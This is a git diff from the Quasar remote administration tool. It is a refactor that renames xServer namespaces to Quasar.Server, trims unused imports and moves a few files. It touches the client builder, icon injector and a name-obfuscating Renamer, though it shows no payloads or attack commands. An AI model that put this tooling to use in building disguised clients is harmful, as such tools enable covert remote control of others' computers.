+++ b/Quasar.Server/Controls/HexEditor/Caret.cs
@@ -1,11 +1,8 @@
using System;
-using System.Collections.Generic;
using System.Drawing;
-using System.Linq;
using System.Runtime.InteropServices;
-using System.Text;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public class Caret
{
diff --git a/Quasar.Server/Controls/HexEditor/EditView.cs b/Quasar.Server/Controls/HexEditor/EditView.cs
index fd222900..586b9fc6 100644
--- a/Quasar.Server/Controls/HexEditor/EditView.cs
+++ b/Quasar.Server/Controls/HexEditor/EditView.cs
@@ -1,11 +1,8 @@
using System;
-using System.Collections.Generic;
using System.Drawing;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public class EditView : IKeyMouseEventHandler
{
diff --git a/Quasar.Server/Controls/HexEditor/HexEditor.cs b/Quasar.Server/Controls/HexEditor/HexEditor.cs
index 882ba930..fba34926 100644
--- a/Quasar.Server/Controls/HexEditor/HexEditor.cs
+++ b/Quasar.Server/Controls/HexEditor/HexEditor.cs
@@ -1,12 +1,9 @@
using System;
-using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
/*
* Derived and Adapted from Bernhard Elbl
diff --git a/Quasar.Server/Controls/HexEditor/HexViewHandler.cs b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs
index 3dcd0641..cc57191f 100644
--- a/Quasar.Server/Controls/HexEditor/HexViewHandler.cs
+++ b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs
@@ -1,11 +1,8 @@
using System;
-using System.Collections.Generic;
using System.Drawing;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public class HexViewHandler
{
diff --git a/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs
index eb01dba9..7121208a 100644
--- a/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs
+++ b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs
@@ -1,10 +1,7 @@
using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public interface IKeyMouseEventHandler
{
diff --git a/Quasar.Server/Controls/HexEditor/StringViewHandler.cs b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs
index 4d1821e0..125e133e 100644
--- a/Quasar.Server/Controls/HexEditor/StringViewHandler.cs
+++ b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs
@@ -1,11 +1,8 @@
using System;
-using System.Collections.Generic;
using System.Drawing;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public class StringViewHandler
{
diff --git a/Quasar.Server/Controls/InputBox.cs b/Quasar.Server/Controls/InputBox.cs
index d1472461..08df5b47 100644
--- a/Quasar.Server/Controls/InputBox.cs
+++ b/Quasar.Server/Controls/InputBox.cs
@@ -2,7 +2,7 @@
using System.Drawing;
using System.Windows.Forms;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
public static class InputBox
{
diff --git a/Quasar.Server/Controls/Line.cs b/Quasar.Server/Controls/Line.cs
index e149f0e0..28aefa6c 100644
--- a/Quasar.Server/Controls/Line.cs
+++ b/Quasar.Server/Controls/Line.cs
@@ -1,7 +1,7 @@
using System.Drawing;
using System.Windows.Forms;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
public class Line : Control
{
diff --git a/Quasar.Server/Controls/ListViewEx.cs b/Quasar.Server/Controls/ListViewEx.cs
index d316e94f..26bb4b19 100644
--- a/Quasar.Server/Controls/ListViewEx.cs
+++ b/Quasar.Server/Controls/ListViewEx.cs
@@ -1,9 +1,9 @@
using System;
using System.Windows.Forms;
-using xServer.Core.Helper;
-using xServer.Core.Utilities;
+using Quasar.Server.Core.Helper;
+using Quasar.Server.Core.Utilities;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
internal class AeroListView : ListView
{
diff --git a/Quasar.Server/Controls/RapidPictureBox.cs b/Quasar.Server/Controls/RapidPictureBox.cs
index 54cce2e6..39ad4144 100644
--- a/Quasar.Server/Controls/RapidPictureBox.cs
+++ b/Quasar.Server/Controls/RapidPictureBox.cs
@@ -2,9 +2,9 @@
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
-using xServer.Core.Utilities;
+using Quasar.Server.Core.Utilities;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
public interface IRapidPictureBox
{
diff --git a/Quasar.Server/Controls/RegistryTreeView.cs b/Quasar.Server/Controls/RegistryTreeView.cs
index 2b0e4050..13aabd06 100644
--- a/Quasar.Server/Controls/RegistryTreeView.cs
+++ b/Quasar.Server/Controls/RegistryTreeView.cs
@@ -1,10 +1,6 @@
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Windows.Forms;
+using System.Windows.Forms;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
public class RegistryTreeView : TreeView
{
diff --git a/Quasar.Server/Controls/RegistryValueLstItem.cs b/Quasar.Server/Controls/RegistryValueLstItem.cs
index c9d8a2ea..b8d896f0 100644
--- a/Quasar.Server/Controls/RegistryValueLstItem.cs
+++ b/Quasar.Server/Controls/RegistryValueLstItem.cs
@@ -1,9 +1,9 @@
-using Quasar.Common.Models;
-using System.Windows.Forms;
-using xServer.Core.Extensions;
-using xServer.Core.Registry;
+using System.Windows.Forms;
+using Quasar.Common.Models;
+using Quasar.Server.Core.Extensions;
+using Quasar.Server.Core.Registry;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
public class RegistryValueLstItem : ListViewItem
{
diff --git a/Quasar.Server/Controls/WordTextBox.Designer.cs b/Quasar.Server/Controls/WordTextBox.Designer.cs
index ef175a61..21dc61de 100644
--- a/Quasar.Server/Controls/WordTextBox.Designer.cs
+++ b/Quasar.Server/Controls/WordTextBox.Designer.cs
@@ -1,4 +1,4 @@
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
partial class WordTextBox
{
diff --git a/Quasar.Server/Controls/WordTextBox.cs b/Quasar.Server/Controls/WordTextBox.cs
index 54d8fcf6..62a03684 100644
--- a/Quasar.Server/Controls/WordTextBox.cs
+++ b/Quasar.Server/Controls/WordTextBox.cs
@@ -1,15 +1,9 @@
using System;
-using System.Collections.Generic;
-using System.ComponentModel;
-using System.Data;
-using System.Drawing;
using System.Globalization;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-using xServer.Enums;
+using Quasar.Server.Enums;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
public partial class WordTextBox : TextBox
{
diff --git a/Quasar.Server/Core/Build/ClientBuilder.cs b/Quasar.Server/Core/Build/ClientBuilder.cs
index 4b3c1dac..dc634f50 100644
--- a/Quasar.Server/Core/Build/ClientBuilder.cs
+++ b/Quasar.Server/Core/Build/ClientBuilder.cs
@@ -1,12 +1,12 @@
using System;
using Mono.Cecil;
using Mono.Cecil.Cil;
+using Quasar.Server.Core.Cryptography;
+using Quasar.Server.Core.Data;
+using Quasar.Server.Core.Helper;
using Vestris.ResourceLib;
-using xServer.Core.Cryptography;
-using xServer.Core.Data;
-using xServer.Core.Helper;
-namespace xServer.Core.Build
+namespace Quasar.Server.Core.Build
{
///
/// Provides methods used to create a custom client executable.
@@ -28,7 +28,7 @@ public static void Build(BuildOptions options)
foreach (var typeDef in asmDef.Modules[0].Types)
{
- if (typeDef.FullName == "xClient.Config.Settings")
+ if (typeDef.FullName == "Quasar.Client.Config.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
diff --git a/Quasar.Server/Core/Build/IconInjector.cs b/Quasar.Server/Core/Build/IconInjector.cs
index 5f1f3a76..ddd678da 100644
--- a/Quasar.Server/Core/Build/IconInjector.cs
+++ b/Quasar.Server/Core/Build/IconInjector.cs
@@ -2,7 +2,7 @@
using System.Runtime.InteropServices;
using System.Security;
-namespace xServer.Core.Build
+namespace Quasar.Server.Core.Build
{
public static class IconInjector
{
diff --git a/Quasar.Server/Core/Build/Renamer.cs b/Quasar.Server/Core/Build/Renamer.cs
index ba4d4dda..03f21389 100644
--- a/Quasar.Server/Core/Build/Renamer.cs
+++ b/Quasar.Server/Core/Build/Renamer.cs
@@ -5,7 +5,7 @@
using Mono.Cecil;
using Quasar.Common.Utilities;
-namespace xServer.Core.Build
+namespace Quasar.Server.Core.Build
{
public class Renamer
{
@@ -57,7 +57,7 @@ public bool Perform()
private void RenameInType(TypeDefinition typeDef)
{
- if (typeDef.Namespace.Contains("Registry") || typeDef.HasInterfaces)
+ if (typeDef.HasInterfaces)
return;
_typeOverloader.GiveName(typeDef);
diff --git a/Quasar.Server/Core/Compression/SafeQuickLZ.cs b/Quasar.Server/Core/Compression/SafeQuickLZ.cs
index f4b8a48c..768da723 100644
--- a/Quasar.Server/Core/Compression/SafeQuickLZ.cs
+++ b/Quasar.Server/Core/Compression/SafeQuickLZ.cs
@@ -2,7 +2,7 @@
#pragma warning disable 0675
-namespace xServer.Core.Compression
+namespace Quasar.Server.Core.Compression
{
// QuickLZ data compression library
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold
diff --git a/Quasar.Server/Core/Cryptography/AES.cs b/Quasar.Server/Core/Cryptography/AES.cs
index 86c58438..d93ad70b 100644
--- a/Quasar.Server/Core/Cryptography/AES.cs
+++ b/Quasar.Server/Core/Cryptography/AES.cs
@@ -2,9 +2,9 @@
using System.IO;
using System.Security.Cryptography;
using System.Text;
-using xServer.Core.Helper;
+using Quasar.Server.Core.Helper;
-namespace xServer.Core.Cryptography
+namespace Quasar.Server.Core.Cryptography
{
public static class AES
{
diff --git a/Quasar.Server/Core/Data/BuildOptions.cs b/Quasar.Server/Core/Data/BuildOptions.cs
index 42050758..dfef8a76 100644
--- a/Quasar.Server/Core/Data/BuildOptions.cs
+++ b/Quasar.Server/Core/Data/BuildOptions.cs
@@ -1,4 +1,4 @@
-namespace xServer.Core.Data
+namespace Quasar.Server.Core.Data
{
public class BuildOptions
{
diff --git a/Quasar.Server/Core/Data/BuilderProfile.cs b/Quasar.Server/Core/Data/BuilderProfile.cs
index 0a452489..530b6b46 100644
--- a/Quasar.Server/Core/Data/BuilderProfile.cs
+++ b/Quasar.Server/Core/Data/BuilderProfile.cs
@@ -3,9 +3,9 @@
using System.Windows.Forms;
using System.Xml;
using System.Xml.XPath;
-using xServer.Core.Helper;
+using Quasar.Server.Core.Helper;
-namespace xServer.Core.Data
+namespace Quasar.Server.Core.Data
{
public class BuilderProfile
{
diff --git a/Quasar.Server/Core/Data/Host.cs b/Quasar.Server/Core/Data/Host.cs
index 60eb3503..27dad5d6 100644
--- a/Quasar.Server/Core/Data/Host.cs
+++ b/Quasar.Server/Core/Data/Host.cs
@@ -1,4 +1,4 @@
-namespace xServer.Core.Data
+namespace Quasar.Server.Core.Data
{
public class Host
{
diff --git a/Quasar.Server/Core/Data/Settings.cs b/Quasar.Server/Core/Data/Settings.cs
index 25d37cd7..f998adee 100644
--- a/Quasar.Server/Core/Data/Settings.cs
+++ b/Quasar.Server/Core/Data/Settings.cs
@@ -3,7 +3,7 @@
using System.Xml;
using System.Xml.XPath;
-namespace xServer.Core.Data
+namespace Quasar.Server.Core.Data
{
public static class Settings
{
diff --git a/Quasar.Server/Core/Extensions/ListViewExtensions.cs b/Quasar.Server/Core/Extensions/ListViewExtensions.cs
index 6568bd0a..f3c65db6 100644
--- a/Quasar.Server/Core/Extensions/ListViewExtensions.cs
+++ b/Quasar.Server/Core/Extensions/ListViewExtensions.cs
@@ -1,8 +1,8 @@
using System.Windows.Forms;
-using xServer.Core.Helper;
-using xServer.Core.Utilities;
+using Quasar.Server.Core.Helper;
+using Quasar.Server.Core.Utilities;
-namespace xServer.Core.Extensions
+namespace Quasar.Server.Core.Extensions
{
public static class ListViewExtensions
{
diff --git a/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs
index 1bc13ba2..34568386 100644
--- a/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs
+++ b/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs
@@ -1,10 +1,7 @@
-using Microsoft.Win32;
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
+using System;
+using Microsoft.Win32;
-namespace xServer.Core.Extensions
+namespace Quasar.Server.Core.Extensions
{
public static class RegistryKeyExtensions
{
diff --git a/Quasar.Server/Core/Extensions/SocketExtensions.cs b/Quasar.Server/Core/Extensions/SocketExtensions.cs
index f8ca1f28..d879f792 100644
--- a/Quasar.Server/Core/Extensions/SocketExtensions.cs
+++ b/Quasar.Server/Core/Extensions/SocketExtensions.cs
@@ -2,7 +2,7 @@
using System.Net.Sockets;
using System.Runtime.InteropServices;
-namespace xServer.Core.Extensions
+namespace Quasar.Server.Core.Extensions
{
///
/// Socket Extension for KeepAlive
diff --git a/Quasar.Server/Core/Helper/ClipboardHelper.cs b/Quasar.Server/Core/Helper/ClipboardHelper.cs
index c66f84a0..f5d6b120 100644
--- a/Quasar.Server/Core/Helper/ClipboardHelper.cs
+++ b/Quasar.Server/Core/Helper/ClipboardHelper.cs
@@ -1,7 +1,7 @@
using System;
using System.Windows.Forms;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Core.Helper
{
public static class ClipboardHelper
{
diff --git a/Quasar.Server/Core/Helper/CryptographyHelper.cs b/Quasar.Server/Core/Helper/CryptographyHelper.cs
index bdb844f5..b15b9086 100644
--- a/Quasar.Server/Core/Helper/CryptographyHelper.cs
+++ b/Quasar.Server/Core/Helper/CryptographyHelper.cs
@@ -1,9 +1,9 @@
using System;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
-using xServer.Core.Cryptography;
+using Quasar.Server.Core.Cryptography;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Core.Helper
{
public static class CryptographyHelper
{
diff --git a/Quasar.Server/Core/Helper/FileHelper.cs b/Quasar.Server/Core/Helper/FileHelper.cs
index 3f03ab44..d4be56a6 100644
--- a/Quasar.Server/Core/Helper/FileHelper.cs
+++ b/Quasar.Server/Core/Helper/FileHelper.cs
@@ -1,10 +1,10 @@
-using Quasar.Common.Utilities;
-using System.IO;
+using System.IO;
using System.Linq;
using System.Text;
-using xServer.Core.Cryptography;
+using Quasar.Common.Utilities;
+using Quasar.Server.Core.Cryptography;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Core.Helper
{
public static class FileHelper
{
diff --git a/Quasar.Server/Core/Helper/FormatHelper.cs b/Quasar.Server/Core/Helper/FormatHelper.cs
index c68bf640..5ee3982c 100644
--- a/Quasar.Server/Core/Helper/FormatHelper.cs
+++ b/Quasar.Server/Core/Helper/FormatHelper.cs
@@ -1,7 +1,7 @@
using System.IO;
using System.Text.RegularExpressions;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Core.Helper
{
public static class FormatHelper
{
diff --git a/Quasar.Server/Core/Helper/HostHelper.cs b/Quasar.Server/Core/Helper/HostHelper.cs
index e14582ea..0f73dc25 100644
--- a/Quasar.Server/Core/Helper/HostHelper.cs
+++ b/Quasar.Server/Core/Helper/HostHelper.cs
@@ -2,10 +2,9 @@
using System.ComponentModel;
using System.Linq;
using System.Text;
-using xServer.Core.Data;
-using xServer.Core.Utilities;
+using Quasar.Server.Core.Data;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Core.Helper
{
public static class HostHelper
{
diff --git a/Quasar.Server/Core/Helper/NativeMethodsHelper.cs b/Quasar.Server/Core/Helper/NativeMethodsHelper.cs
index 1c4efba4..44d46654 100644
--- a/Quasar.Server/Core/Helper/NativeMethodsHelper.cs
+++ b/Quasar.Server/Core/Helper/NativeMethodsHelper.cs
@@ -1,7 +1,7 @@
using System;
-using xServer.Core.Utilities;
+using Quasar.Server.Core.Utilities;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Core.Helper
{
public static class NativeMethodsHelper
{
diff --git a/Quasar.Server/Core/Helper/PlatformHelper.cs b/Quasar.Server/Core/Helper/PlatformHelper.cs
index acc31df6..c5f0c8ab 100644
--- a/Quasar.Server/Core/Helper/PlatformHelper.cs
+++ b/Quasar.Server/Core/Helper/PlatformHelper.cs
@@ -1,6 +1,6 @@
using System;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Core.Helper
{
public static class PlatformHelper
{
diff --git a/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs b/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs
index 38c8df1f..2b5c2c59 100644
--- a/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs
+++ b/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs
@@ -2,7 +2,7 @@
using System.Drawing.Imaging;
using System.Windows.Forms;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Core.Helper
{
public static class RemoteDesktopHelper
{
diff --git a/Quasar.Server/Core/Helper/WindowHelper.cs b/Quasar.Server/Core/Helper/WindowHelper.cs
index a633cef9..7d606a05 100644
--- a/Quasar.Server/Core/Helper/WindowHelper.cs
+++ b/Quasar.Server/Core/Helper/WindowHelper.cs
@@ -1,6 +1,6 @@
-using xServer.Core.Networking;
+using Quasar.Server.Core.Networking;
-namespace xServer.Core.Helper
+namespace Quasar.Server.Core.Helper
{
public static class WindowHelper
{
diff --git a/Quasar.Server/Core/Commands/ClientStatusHandler.cs b/Quasar.Server/Core/Messages/ClientStatusHandler.cs
similarity index 98%
rename from Quasar.Server/Core/Commands/ClientStatusHandler.cs
rename to Quasar.Server/Core/Messages/ClientStatusHandler.cs
index e3c65d56..1f938f94 100644
--- a/Quasar.Server/Core/Commands/ClientStatusHandler.cs
+++ b/Quasar.Server/Core/Messages/ClientStatusHandler.cs
@@ -1,9 +1,9 @@
using Quasar.Common.Enums;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
-using xServer.Core.Networking;
+using Quasar.Server.Core.Networking;
-namespace xServer.Core.Commands
+namespace Quasar.Server.Core.Messages
{
public class ClientStatusHandler : MessageProcessorBase
- xServer.Program
+ Quasar.Server.Program
- Quasar_Server.ico
+ icons\Quasar_Server.ico
app.manifest
@@ -111,18 +111,18 @@
WordTextBox.cs
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
@@ -414,9 +414,6 @@
True
-
-
-
{c7c363ba-e5b6-4e18-9224-39bc8da73172}
diff --git a/Quasar.Server/Quasar_Server.ico b/Quasar.Server/icons/Quasar_Server.ico
similarity index 100%
rename from Quasar.Server/Quasar_Server.ico
rename to Quasar.Server/icons/Quasar_Server.ico